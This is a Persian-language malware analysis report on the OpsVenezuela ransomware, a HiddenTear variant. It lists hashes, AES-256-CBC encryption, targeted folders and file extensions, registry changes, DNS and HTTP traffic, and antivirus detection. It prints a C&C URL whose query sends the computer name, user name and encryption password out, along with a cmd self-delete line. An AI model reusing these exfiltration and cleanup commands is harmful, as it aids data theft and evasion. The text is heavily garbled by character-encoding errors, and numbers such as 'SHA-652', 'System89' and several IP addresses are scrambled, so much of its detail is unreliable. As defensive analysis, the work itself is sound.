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 مقذمه :

 OpsVenezuela بدٍ ودا    خذیدذی   ومًوٍافضاس، اص ششيع فؼالیت  ي سطذ فضای سایبشی دس صمیىٍ باج مشاَذٌ

 شدشيع شدذٌ  مدیددی   2102سال  میماٌ  اياخشافضاس دس دَذ فؼالیت ایه باجَا وشان میبشسسی .دَذ خبش می

َدا اسدتدادٌ    بشای سمضگزاسی فایلبیتی  CBC - 252دس حالت  AESافضاس اص الگًسیتم سمضوگاسی  ایه باجاست. 

َدا   کٍ دس ادامدٍ بدٍ  ن  سا  مشخضَایی خاص ي با پسًوذَایی  َای مًخًد دس دایشکتًسی کىذ ي تىُا فایل می

افضاسَدای   افدضاس، بداج   َای اودا  شذٌ يالدذیه ایده بداج    عبق بشسسیکىذ.  اشاسٌ خًاَیم ومًد، سمضگزاسی می

HiddenTear  ي EDA2 اس افض باجباشىذ.  میOpsVenezuela  شباَات بسیاس صیادی اص وظش ػملکشد ي کذمىبغ

 باشذ.   می Pdfمشابٍ  یکًن اسىاد  ،افضاس  یکًن مشبًط بٍ فایل اخشایی ایه باجداسد.  CryBrazilافضاس  با باج

 

   مشخصات فایل اجرایی :

 hidden-tear.exe نام فایل

MD5 4f853b4665c64856ac48ababa9dbf150 

SHA-1 e339901a069af18156d96f0da596e9195616e864 

SHA-652 969bd4f4a4d01899c149e6bd6f48094404f906616bf6418e09816131a6dda680 

 KB 906 انذازه فایل

 Microsoft visual C# v6.1 / Basic .NET کامپایلر

 

 بخش است : سٍفایل اخشایی ایه باج افضاس داسای 

 انذازه خام انذازه مجازی آدرس مجازی آنتروپی نام بخش
.text 2..2 2012 002021 002222 

.rsrc 2.22 0701.2 012221 012121 

.reloc 1.0 27.522 02 502 
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 تحلیل پویا :

فایل اخشایی  ن سا دس محیظ  صمایشدگاَی اخدشا کدشدیم تدا     ، OpsVenezuelaافضاس  تش باجبشای بشسسی ػمیق

افدضاس  بداج کدٍ  وتایح حاطل اص ایه بشسسدی وشدان داد   افضاس سا اص وضدیک مًسد بشسسی قشاس دَیم.  ػملکشد باج

دَذ ي ودا   ن سا   اوتقال می C:\admin\Rand027بٍ دایشکتًسی مًسد اشاسٌ پس اص اخشا، فایل اطلی خًد سا 

 دس دایشکتدًسی  ویدض پدس اص داولدًد    ساَمچىیه تظدًیش مشبدًط بدٍ پدس صمیىدٍ       .دَذ تغییش می local.exeبٍ 

C:\admin  یک فایل بدا ػىدًان    سپس .دَذ میقشاسREAD_IT.txt   بدش سيیDesktop   شدًد کدٍ    مدی ایدداد

 .یابدذ  مدی افدضاس خاتمدٍ    ای بداج فشایىذ مشبًط بٍ اخشباشذ ي دس وُایت  خًاَی می ن شامل پیغا  باجمحتًای  

 باشذ : َای ایداد شذٌ می تظًیش صیش مشبًط بٍ فایل

 

 باشذ : افضاس می خًاَی باج تظًیش صیش مشبًط بٍ پیغا  باج
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اودذ ي قشباویدان خُدت     َا سا سمضگزاسی ومدًدٌ  تما  فایل کشدٌ اوذمُاخمیه اػد   ،خًاَی بش اساس پیغا  باج

مدًوشي سا پشداخدت ومایىدذ. َمچىدیه قشباویدان بایدذ پدس اص پشداخدت مبلدغ           1.5َا بایذ مبلغ  سمضگشایی  ن

اخمیه استباط بشقدشاس ومایىدذ ي   با مُ opsvenezuela@protonmail.comخًاَی اص عشیق  دسس ایمیل  باج

 .  خًاَىذ شذَا سمضگشایی  پس اص تاییذ مُاخمیه، فایل

َدای   سدی سباشذ کٍ عبدق بش  افضاس می باجسیستم قشباوی پس اص حملٍ تظًیش صیش مشبًط بٍ تظًیش پس صمیىٍ  

   باشذ : افضاس قادس بٍ تغییش تظًیش پس صمیىٍ ومی شذٌ باج اودا 

 

mailto:opsvenezuela@protonmail.com
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بدشای سمضگدزاسی    بیتدی  CBC 252دس حالت  AESافضاس اص الگًسیتم سمضوگاسی  ایه باجَماوغًس کٍ اشاسٌ شذ 

 . لیست دایشکتًسی َا ي فایل َای مًسد َذف باج افضاس دس صیش اشاسٌ شذٌ است.کىذ َا استدادٌ می فایل

 افضاس :  َای مًسد َذف باج لیست دایشکتًسی

Desktop, Links, Contacts, Documents, Downloads, Pictures, Music, Videos, OneDrives, Saved 

Games, Favorites, Searches 

 افضاس : َای مًسد َذف باج لیست فایل

.txt, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, jpeg, .png, .csv, .sql, .mdb, .sln, .php, .asp, .aspx, 

.html, .xml, .psd, .sql, .mp4, .7z, .rar, .m4a, .wma, .avi, .wmv, .csv, .d3dbsp, .zip, .sie, .sum, 

.ibank, .t33, .t31, .qdf, .gdb, .tax, .pkpass, .bc6, .bc7, .bkp, .qic, .bkf, .sidn, .sidd, .mddata, 

.itl, .itdb, .icxs, .hvpl, .hplg, .hkdb, .mdbackup, .syncdb, .gho, .cas, .svg, .map, .wmo, .itm, .sb, 

.fos, .mov, .vdf, .ztmp, .sis, .sid, .ncf, .menu, .layout, .dmp, .blob, .esm, .vcf, .vtf, .dazip, .fpk, 

.mlx, .kf, .iwd, .vpk, .tor, .psk, .rim, .w3x, .fsh, .ntl, .arch00, .lvl, .snx, .cfr, .ff, .vpp_pc, .lrf, 

.m1, .mcmeta, .vfs0, .mpqge, .kdb, .db0, .dba, .rofl, .hkx, .bar, .upk, .das, .iwi, .litemod, 

.asset, .forge, .ltx, .bsa, .apk, .re4, .sav, .lbf, .slm, .bik, .epk, .rgss3a, .pak, .big, wallet, 

.wotreplay, .xxx, .desc, .py, .m3u, .flv, .js, .css, .rb, .p7c, .pk7, .p7b, .p31, .pfx, .pem, .crt, 

.cer, .der, .x3f, .srw, .pef, .ptx, .r3d, .rw1, .rwl, .raw, .raf, .orf, .nrw, .mrwref, .mef, .erf, .kdc, 

.dcr, .cr1, .crw, .bay, .sr1, .srf, .arw, .3fr, .dng, .jpe, .jpg, .cdr, .indd, .ai, .eps, .pdf, .pdd, .dbf, 

.mdf, .wb1, .rtf, .wpd, .dxg, .xf, .dwg, .pst, .accdb, .mdb, .pptm, .pptx, .ppt, .xlk, .xlsb, .xlsm, 

.xlsx, .xls, .wps, .docm, .docx, .doc, .odb, .odc, .odm, .odp, .ods, .odt, .cs, .exe, .lnk, .mpeg, 

.mp3, .mkv, .divx, .ogg, .zip, .wav, .bat, .index 

ذ ي َماوغًس کدٍ قابدل مشداَذٌ    باشافضاس میَای سمضگزاسی شذٌ تًسظ ایه باجفایل دَىذٌتظًیش صیش وشان

 شًد. َا اضافٍ می بٍ اوتُای فایل locked. َا پسًوذ پس اص سمضگزاسی فایل است
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افضاس سا بٍ ػىًان یک تشيخان شىاسدایی  َای مؼتبش، ایه باجيیشيسَای اودا  شذٌ اکثش  وتیبش اساس بشسسی

 َا يخًد داسد.َای متذايل اص خملٍ َشصوامٍ ساٌافضاس بٍ سیستم اص اوذ. لزا احتمال ودًر باج ومًدٌ

 

 تحلیل ایستا:

 بٍ وتایح صیش دست پیذا کشدیم. OpsVenezuelaافضاس  باج کذ پس اص تحلیل

َای مختلف قبل ي بؼذ اص سمضگزاسی اودا  دادیدم شداَذ ایده بدًدیم کدٍ       َایی کٍ بش سيی فایل عبق بشسسی

دَدذ. تظدًیش صیدش     َا سا پس اص سمضگزاسی بٍ عًس کامدل تغییدش مدی    ساختاس فایل OpsVenezuelaافضاس  باج

 دَذ :   َا سا وشان می ای اص تغییشات ساختاس فایل ومًوٍ



 

  . 

 

  

 
بشای فایل اخشایی خًد استدادٌ کدشدٌ   Pdf یکًن اسىاد  بشای گمشاَی کاسبشان، اص OpsVenezuelaباج افضاس 

 : گشدیذ ویض مشاَذٌافضاس  پس اص بشسسی کذمىبغ باجایه مًسد  .است

 

، بداج افدضاس  باشدذ کدٍ شدامل مدًاسدی َماوىدذ اوتقدال        مدی  ()startActionقغؼٍ کدذ صیدش مشبدًط بدٍ تدابغ      

خًاَی، بشسسی اتظال بٍ ایىتشوت، تغییش تظدًیش پدس صمیىدٍ ي ...     َای َذف، تابغ ایداد پیغا  باج دایشکتًسی

 باشذ : می
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 باشذ : افضاس بٍ دایشکتًسی مذوظش، می صیش مشبًط بٍ اوتقال باجقغؼٍ کذ 
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 صیش  مذٌ است :قغؼٍ کذ لیست دایشکتًسی َای مًسد َذف باج افضاس دس 

 

 سا دس تظًیش صیش مشاَذٌ می کىیذ :خًاَی  تابغ ایداد پیغا  باج
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 کىذ : سیستم قشباوی بشسسی میسا دس قغؼٍ کذ صیش يضؼیت اتظال بٍ ایىتشوت باج افضاس با استدادٌ اص 

 

اما َماوغًس کٍ  .باشذ افضاس می تًسظ باجسیستم قشباوی قغؼٍ کذ صیش مشبًط بٍ فشایىذ تغییش تظًیش پس صمیىٍ 

 باشذ : افضاس قادس بٍ تغییش تظًیش پس صمیىٍ ومی اشاسٌ شذ باج

 

 کىذ : افضاس تًسظ قغؼٍ کذ صیش یک پسًسد ایداد می باج
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 باشذ : افضاس می باج C&Cقغؼٍ کذ صیش مشبًط بٍ اسسال اعدػات کاسبش بٍ سشيس 

 

 دامىٍ َای مشکًک بذست  مذٌ دس کذ باج افضاس دس قغؼٍ کذ صیش قابل مشاَذٌ است :

 

 باشذ : افضاس پس اص اتما  فشایىذ سمضگزاسی می قغؼٍ کذ صیش مشبًط بٍ اص بیه بشدن فشایىذ مشبًط بٍ باج
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ومایدذ،   بیتی استدادٌ مدی  CBC 252دس حالت  AESافضاس اص الگًسیتم سمضوگاسی  َماوغًس کٍ اشاسٌ ومًدیم باج

 باشذ : قغؼٍ کذ صیش مشبًط بٍ ایه فشایىذ می

 

 باشذ : افضاس می َا با پسًوذَایی مشخض تًسظ باج قغؼٍ کذ صیش مشبًط بٍ سمضگزاسی فایل

 

 تغییش می دَذ : locked.بٍ  ی سمضگزاسی شذٌ ساَا پسًوذ فایلباج افضاس با استدادٌ اص قغؼٍ کذ صیش، 
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 باشذ : می org/venezuela/write.php5http://thepussy.eu.تظًیش صیش مشبًط بٍ  دسس دامىٍ 

 

 .کىذ یاستدادٌ م  ن،اص  ابغتیک بٍ َمشاٌ صیش  یىذيصیي  کتابخاوٍفقظ اص  OpsVenezuelaافضاس باج

mscoree.dll 
_CorExeMain  

 

 : کىذ ایداد می َای صیش ساپس اص اخشا فشایىذافضاس َای طًست گشفتٍ، ایه باجبش اساس بشسسی

 hidden-tear.exe 
o C:\Windows\System89\cmd.exe"/Ctimeout9&&Del/Q/F  

 timeout.exe 

 شًد : می وًشتٍسیستم  دسافضاس  کلیذَای سخیستشی صیش تًسظ باج

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI72\ EnableFileTracing 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI72\ EnableConsoleTracing 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI72\ FileTracingMask 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI72\ ConsoleTracingMask 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI72\ MaxFileSize 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI72\ FileDirectory 

http://thepussy.eu5.org/venezuela/write.php
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ EnableFileTracing 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ EnableConsoleTracing 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ FileTracingMask 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ ConsoleTracingMask 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ MaxFileSize 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ FileDirectory 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\ZoneMap\U

NCAsIntranet 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\ZoneMap\Au

toDetect 

 

 تحلیل ترافیک شبکه :

 دَذ. سا وشان می OpsVenezuelaتظًیش صیش بخشی اص استباعات شبکٍ ای باج افضاس 

 

 027.02..21.01تشافیک مشبًط بٍ  ی پی : 0تظًیش 
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 202.52.212.72: تشافیک مشبًط بٍ  ی پی 2تظًیش 

 باشذ. ، پس اص اخشای باج افضاس بٍ ششح خذيل صیش میDNS َای دسخًاست

 کشًس  دسس  ی پی دامىٍ
thepussy.eu5.org 21.01..027.02  ٌامشیکاایالات متحذ 
www.google.com 202.52.212.72 کایمتحذٌ امش الاتیا 

 

 باشذ. ، پس اص اخشای باج افضاس بٍ ششح صیش میHTTPدسخًاست َای 

0. http://thepussy.eu5.org/venezuela/write.php?computer_name=PC&userName=adm
in&password=CreatePassword(05)&allow=ransom 

9. http://thepussy.eu5.org/Warning.png 

 استباط بشقشاس کشدٌ است. َا کٍ باج افضاس با  نی َای لیست میضبان

 وا  کشًس شماسٌ پًست  دسس  ی پی

21.01..027.02 21 

TCP 

 ایالات متحذٌ امشیکا

202.52.212.72 227 

TCP 
 کایمتحذٌ امش الاتیا

 

 ايیش صیش قابل مشاَذٌ است :دس تظ تشافیک شبکٍخضئیات بیشتش مشبًط بٍ 

https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
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202.52.212.72اعدػات مشبًط بٍ  ی پی بخشی اص : 0تظًیش   

 

027.02..21.01اعدػات مشبًط بٍ  ی پی  بخشی اص :2تظًیش   



 

  0. 

 

  

 

 027.02..21.01: مًقؼیت مکاوی  ی پی 7تظًیش 

 

202.52.212.72: مًقؼیت مکاوی  ی پی 2تظًیش   
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 شناسایی :

قدادس بدٍ    VirusTotal وتی يیشيس ي  وتی بدذافضاس مًخدًد دس سداماوٍ     22مًسد اص  50دس حال حاضش تؼذاد 

  کىىذ. شىاسایی ایه باج افضاس بًدٌ ي ن سا حزف یا غیشفؼال می

 


